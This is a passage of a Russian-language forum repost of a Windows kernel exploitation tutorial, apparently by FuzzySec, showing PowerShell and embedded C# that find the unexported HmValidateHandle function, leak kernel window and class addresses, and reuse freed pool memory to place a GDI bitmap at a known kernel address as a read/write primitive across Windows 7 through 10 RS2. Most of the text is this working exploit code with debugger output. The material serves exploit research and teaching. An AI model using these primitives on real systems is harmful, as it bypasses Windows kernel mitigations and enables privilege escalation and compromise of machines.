echo "[+] Kernel tagCLS.lpszMenuName: $('{0:X16}' -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+0x90)))`n"

#------------------[Break]
Start-Sleep -s 20
[DesktopHeapGDI]::DebugBreak()

При выполнении операции чтения такого типа нет накладных расходов. Мы немедленно получаем следующие результаты. Обратите внимание, что приглашение PowerShell не вернулось, потому что нам нужно прервать работу до завершения работы скрипта.

6.jpg


Некоторые быстрые команды dq/db в отладчике KD показывают, что мы успешно рассчитали все соответствующие смещения.

7.jpg


Leak 2 => User32::HmValidateHandle

Использование HmValidateHandle было впервые обсуждено @kernelpool в его статье 2011 года "Атаки ядра через обратные вызовы пользовательского режима", а затем использовалось в ряде эксплоитов, включая CVE-2016-7255, эксплуатируемых Fancy Bear (https://blog.trendmicro.com/trendla...-system-analyzing-cve-2016-7255-exploit-wild/).

HmValidateHandle - очень интересная функция, поскольку мы можем предоставить ей дескриптор объекта Window, и он будет возвращать указатель на сопоставленный пользователем объект tagWND. Таким образом, мы можем обойти весь TEB парсингом и брутфорсом Единственная проблема заключается в том, что HmValidateHandle не экспортируется User32, поэтому нам нужно сделать несколько трюков, чтобы получить его адрес.

Мы знаем, что HmValidateHandle близка к экспортированной функции User32::IsMenu. Давайте посмотрим на это в отладчике KD.

8.jpg


Все, что нам нужно сделать, это получить адрес User32::IsMenu, найти первое вхождение 0xE8 (call ...) и привести указатель в соответствии с типом. Для этого мы можем использовать следующий фрагмент кода PowerShell.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public class HmValidateHandleBitmap
{
    delegate IntPtr WndProc(
        IntPtr hWnd,
        uint msg,
        IntPtr wParam,
        IntPtr lParam);

    [StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
    struct WNDCLASS
    {
        public uint style;
        public IntPtr lpfnWndProc;
        public int cbClsExtra;
        public int cbWndExtra;
        public IntPtr hInstance;
        public IntPtr hIcon;
        public IntPtr hCursor;
        public IntPtr hbrBackground;
        [MarshalAs(UnmanagedType.LPWStr)]
        public string lpszMenuName;
        [MarshalAs(UnmanagedType.LPWStr)]
        public string lpszClassName;
    }

    [DllImport("user32.dll")]
    static extern System.UInt16 RegisterClassW(
        [In] ref WNDCLASS lpWndClass);

    [DllImport("user32.dll")]
    public static extern IntPtr CreateWindowExW(
        UInt32 dwExStyle,
        [MarshalAs(UnmanagedType.LPWStr)]
        string lpClassName,
        [MarshalAs(UnmanagedType.LPWStr)]
        string lpWindowName,
        UInt32 dwStyle,
        Int32 x,
        Int32 y,
        Int32 nWidth,
        Int32 nHeight,
        IntPtr hWndParent,
        IntPtr hMenu,
        IntPtr hInstance,
        IntPtr lpParam);

    [DllImport("user32.dll")]
    static extern System.IntPtr DefWindowProcW(
        IntPtr hWnd,
        uint msg,
        IntPtr wParam,
        IntPtr lParam);

    [DllImport("user32.dll")]
    public static extern bool DestroyWindow(
        IntPtr hWnd);

    [DllImport("user32.dll")]
    public static extern bool UnregisterClass(
        String lpClassName,
        IntPtr hInstance);

    [DllImport("kernel32",CharSet=CharSet.Ansi)]
    public static extern IntPtr LoadLibrary(
        string lpFileName);

    [DllImport("kernel32",CharSet=CharSet.Ansi,ExactSpelling=true)]
    public static extern IntPtr GetProcAddress(
        IntPtr hModule,
        string procName);

    public delegate IntPtr HMValidateHandle(
        IntPtr hObject,
        int Type);

    [DllImport("gdi32.dll")]
    public static extern IntPtr CreateBitmap(
        int nWidth,
        int nHeight,
        uint cPlanes,
        uint cBitsPerPel,
        IntPtr lpvBits);

    public UInt16 CustomClass(string class_name, string menu_name)
    {
        m_wnd_proc_delegate = CustomWndProc;
        WNDCLASS wind_class = new WNDCLASS();
        wind_class.lpszClassName = class_name;
        wind_class.lpszMenuName = menu_name;
        wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
        return RegisterClassW(ref wind_class);
    }

    private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
    {
        return DefWindowProcW(hWnd, msg, wParam, lParam);
    }

    private WndProc m_wnd_proc_delegate;
}
"@

#------------------[Create/Destroy Window]
# Call nonstatic public method => delegWndProc
$AtomCreate = New-Object HmValidateHandleBitmap

function Create-WindowObject {
    $MenuBuff = "A"*0x8F0
    $hAtom = $AtomCreate.CustomClass("BitmapStager",$MenuBuff)
    [HmValidateHandleBitmap]::CreateWindowExW(0,"BitmapStager",[String]::Empty,0,0,0,0,0,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)
}

function Destroy-WindowObject {
    param ($Handle)
    $CallResult = [HmValidateHandleBitmap]::DestroyWindow($Handle)
    $CallResult = [HmValidateHandleBitmap]::UnregisterClass("BitmapStager",[IntPtr]::Zero)
}

#------------------[Cast HMValidateHandle]
function Cast-HMValidateHandle {
    $hUser32 = [HmValidateHandleBitmap]::LoadLibrary("user32.dll")
    $lpIsMenu = [HmValidateHandleBitmap]::GetProcAddress($hUser32, "IsMenu")
 
    # Get HMValidateHandle pointer
    for ($i=0;$i-lt50;$i++) {
        if ($([System.Runtime.InteropServices.Marshal]::ReadByte($lpIsMenu.ToInt64()+$i)) -eq 0xe8) {
            $HMValidateHandleOffset = [System.Runtime.InteropServices.Marshal]::ReadInt32($lpIsMenu.ToInt64()+$i+1)
            [IntPtr]$lpHMValidateHandle = $lpIsMenu.ToInt64() + $i + 5 + $HMValidateHandleOffset
        }
    }

    if ($lpHMValidateHandle) {
        # Cast IntPtr to delegate
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lpHMValidateHandle,[HmValidateHandleBitmap+HMValidateHandle])
    }
}

#------------------[Window Leak]
function Leak-lpszMenuName {
    param($WindowHandle)
    $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
    $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
    if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 15063) {
        $pCLSOffset = 0xa8
        $lpszMenuNameOffset = 0x90
    } else {
        $pCLSOffset = 0x98
        $lpszMenuNameOffset = 0x88
    }

    # Cast HMValidateHandle & get window desktop heap pointer
    $HMValidateHandle = Cast-HMValidateHandle
    $lpUserDesktopHeapWindow = $HMValidateHandle.Invoke($WindowHandle,1)

    # Calculate all the things
    $ulClientDelta = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+0x20) - $lpUserDesktopHeapWindow.ToInt64()
    $KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+$pCLSOffset)
    $lpszMenuName = [System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+$lpszMenuNameOffset)

    echo "`n[+] ulClientDelta:              $('{0:X16}' -f $ulClientDelta)"
    echo "[+] User tagWND:                $('{0:X16}' -f $($lpUserDesktopHeapWindow.ToInt64()))"
    echo "[+] User tagCLS:                $('{0:X16}' -f $($KerneltagCLS-$ulClientDelta))"
    echo "[+] Kernel tagWND:              $('{0:X16}' -f $($lpUserDesktopHeapWindow.ToInt64()+$ulClientDelta))"
    echo "[+] Kernel tagCLS:              $('{0:X16}' -f $($KerneltagCLS))"
    echo "[+] Kernel tagCLS.lpszMenuName: $('{0:X16}' -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+0x90)))`n"
}

$hWindow = Create-WindowObject
echo "`n[+] Window handle: $hWindow"
Leak-lpszMenuName -WindowHandle $hWindow

Запуск POC выше по сути дает тот же результат, что и первая утечка, но с меньшим количеством шагов!

9.jpg


Use-After-Free Bitmap

Тем не менее, я думаю, вопрос читателя в том, почему мы заботимся об объектах Window? Где мой битмап, бастард? Что ж, имя меню окна (lpszMenuName) размещается в том же пуле ядра, что и наше растровое изображение. Идея состоит в том, что мы выделяем большое имя меню , освобождаем его, а затем выделяем наше растровое изображение, которое будет повторно использовать свободную память. Это кажется немного сложным, но если мы сделаем имя меню больше 4 КБ, оно окажется в большом пуле с низкой энтропией, что делает утечку в стиле UAF на 100% надежной. Этот процесс практически идентичен обходу RS1 с использованием таблиц ускорителей (https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/).

Следующее изображение иллюстрирует этот процесс.

10.png


Функцию PowerShell для достижения этой цели можно увидеть ниже. Для более разумного воспроизведения, пожалуйста, обратитесь к моему репозиторию PSKernel-Primitives (https://github.com/FuzzySecurity/PSKernel-Primitives).

Код:
function Stage-HmValidateHandleBitmap {
<#
.SYNOPSIS
    Universal x64 Bitmap leak using HmValidateHandle.
    Targets: 7, 8, 8.1, 10, 10 RS1, 10 RS2
    Resources:
        + Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem <= 360Vulcan
        + LPE vulnerabilities exploitation on Windows 10 Anniversary Update <= Drozdov Yurii & Drozdova Liudmila

.DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

.EXAMPLE
    PS C:\Users\b33f> Stage-HmValidateHandleBitmap |fl
 
    BitmapKernelObj : -7692235059200
    BitmappvScan0   : -7692235059120
    BitmapHandle    : 1845828432
 
    PS C:\Users\b33f> $Manager = Stage-HmValidateHandleBitmap
    PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj
    FFFFF901030FF000
#>
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
 
    public class HmValidateHandleBitmap
    {
        delegate IntPtr WndProc(
            IntPtr hWnd,
            uint msg,
            IntPtr wParam,
            IntPtr lParam);
 
        [StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
        struct WNDCLASS
        {
            public uint style;
            public IntPtr lpfnWndProc;
            public int cbClsExtra;
            public int cbWndExtra;
            public IntPtr hInstance;
            public IntPtr hIcon;
            public IntPtr hCursor;
            public IntPtr hbrBackground;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string lpszMenuName;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string lpszClassName;
        }
 
        [DllImport("user32.dll")]
        static extern System.UInt16 RegisterClassW(
            [In] ref WNDCLASS lpWndClass);
 
        [DllImport("user32.dll")]
        public static extern IntPtr CreateWindowExW(
            UInt32 dwExStyle,
            [MarshalAs(UnmanagedType.LPWStr)]
            string lpClassName,
            [MarshalAs(UnmanagedType.LPWStr)]
            string lpWindowName,
            UInt32 dwStyle,
            Int32 x,
            Int32 y,
            Int32 nWidth,
            Int32 nHeight,
            IntPtr hWndParent,
            IntPtr hMenu,
            IntPtr hInstance,
            IntPtr lpParam);
 
        [DllImport("user32.dll")]
        static extern System.IntPtr DefWindowProcW(
            IntPtr hWnd,
            uint msg,
            IntPtr wParam,
            IntPtr lParam);
 
        [DllImport("user32.dll")]
        public static extern bool DestroyWindow(
            IntPtr hWnd);
 
        [DllImport("user32.dll")]
        public static extern bool UnregisterClass(
            String lpClassName,
            IntPtr hInstance);
 
        [DllImport("kernel32",CharSet=CharSet.Ansi)]
        public static extern IntPtr LoadLibrary(
            string lpFileName);
 
        [DllImport("kernel32",CharSet=CharSet.Ansi,ExactSpelling=true)]
        public static extern IntPtr GetProcAddress(
            IntPtr hModule,
            string procName);
 
        public delegate IntPtr HMValidateHandle(
            IntPtr hObject,
            int Type);
 
        [DllImport("gdi32.dll")]
        public static extern IntPtr CreateBitmap(
            int nWidth,
            int nHeight,
            uint cPlanes,
            uint cBitsPerPel,
            IntPtr lpvBits);
 
        public UInt16 CustomClass(string class_name, string menu_name)
        {
            m_wnd_proc_delegate = CustomWndProc;
            WNDCLASS wind_class = new WNDCLASS();
            wind_class.lpszClassName = class_name;
            wind_class.lpszMenuName = menu_name;
            wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
            return RegisterClassW(ref wind_class);
        }
 
        private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
        {
            return DefWindowProcW(hWnd, msg, wParam, lParam);
        }
 
        private WndProc m_wnd_proc_delegate;
    }
"@
 
    #------------------[Create/Destroy Window]
    # Call nonstatic public method => delegWndProc
    $AtomCreate = New-Object HmValidateHandleBitmap
 
    function Create-WindowObject {
        $MenuBuff = "A"*0x8F0
        $hAtom = $AtomCreate.CustomClass("BitmapStager",$MenuBuff)
        [HmValidateHandleBitmap]::CreateWindowExW(0,"BitmapStager",[String]::Empty,0,0,0,0,0,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)
    }
 
    function Destroy-WindowObject {
        param ($Handle)
        $CallResult = [HmValidateHandleBitmap]::DestroyWindow($Handle)
        $CallResult = [HmValidateHandleBitmap]::UnregisterClass("BitmapStager",[IntPtr]::Zero)
    }
 
    #------------------[Cast HMValidateHandle]
    function Cast-HMValidateHandle {
        $hUser32 = [HmValidateHandleBitmap]::LoadLibrary("user32.dll")
        $lpIsMenu = [HmValidateHandleBitmap]::GetProcAddress($hUser32, "IsMenu")
    
        # Get HMValidateHandle pointer
        for ($i=0;$i-lt50;$i++) {
            if ($([System.Runtime.InteropServices.Marshal]::ReadByte($lpIsMenu.ToInt64()+$i)) -eq 0xe8) {
                $HMValidateHandleOffset = [System.Runtime.InteropServices.Marshal]::ReadInt32($lpIsMenu.ToInt64()+$i+1)
                [IntPtr]$lpHMValidateHandle = $lpIsMenu.ToInt64() + $i + 5 + $HMValidateHandleOffset
            }
        }
 
        if ($lpHMValidateHandle) {
            # Cast IntPtr to delegate
            [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lpHMValidateHandle,[HmValidateHandleBitmap+HMValidateHandle])
        }
    }
 
    #------------------[lpszMenuName Leak]
    function Leak-lpszMenuName {
        param($WindowHandle)
        $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
        $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
        if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 15063) {
            $pCLSOffset = 0xa8
            $lpszMenuNameOffset = 0x90
        } else {
            $pCLSOffset = 0x98
            $lpszMenuNameOffset = 0x88
        }
 
        # Cast HMValidateHandle & get window desktop heap pointer
        $HMValidateHandle = Cast-HMValidateHandle
        $lpUserDesktopHeapWindow = $HMValidateHandle.Invoke($WindowHandle,1)
 
        # Calculate ulClientDelta & leak lpszMenuName
        $ulClientDelta = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+0x20) - $lpUserDesktopHeapWindow.ToInt64()
        $KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+$pCLSOffset)
        [System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+$lpszMenuNameOffset)
    }
 
    #------------------[Bitmap Leak]
    $KernelArray = @()
    for ($i=0;$i -lt 20;$i++) {
        $TestWindowHandle = Create-WindowObject
        $KernelArray += Leak-lpszMenuName -WindowHandle $TestWindowHandle
        if ($KernelArray.Length -gt 1) {
            if ($KernelArray[$i] -eq $KernelArray[$i-1]) {
                Destroy-WindowObject -Handle $TestWindowHandle
                [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4)
                $BitmapHandle = [HmValidateHandleBitmap]::CreateBitmap(0x701, 2, 1, 8, $Buffer) # +4 kb size
                break
            }
        }
        Destroy-WindowObject -Handle $TestWindowHandle
    }
 
    $BitMapObject = @()
    $HashTable = @{
        BitmapHandle = $BitmapHandle
        BitmapKernelObj = $($KernelArray[$i])
        BitmappvScan0 = $KernelArray[$i] + 0x50
    }
    $Object = New-Object PSObject -Property $HashTable
    $BitMapObject += $Object
    $BitMapObject

Давайте сделаем это быстро.

11.jpg


Структура SURFOBJ довольно четкая, и хотя у нас нет символов для нее, мы можем легко сказать, что утечка прошла успешно.

12.jpg


Финальные мысли

Вот и все! Наш любимый растровый примитив до сих пор пережил два раунда защиты со стороны Microsoft. Растровые изображения предоставляют действительно мощный (и удобный) примитив чтения/записи, который применим в широком спектре сценариев использования ядра.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх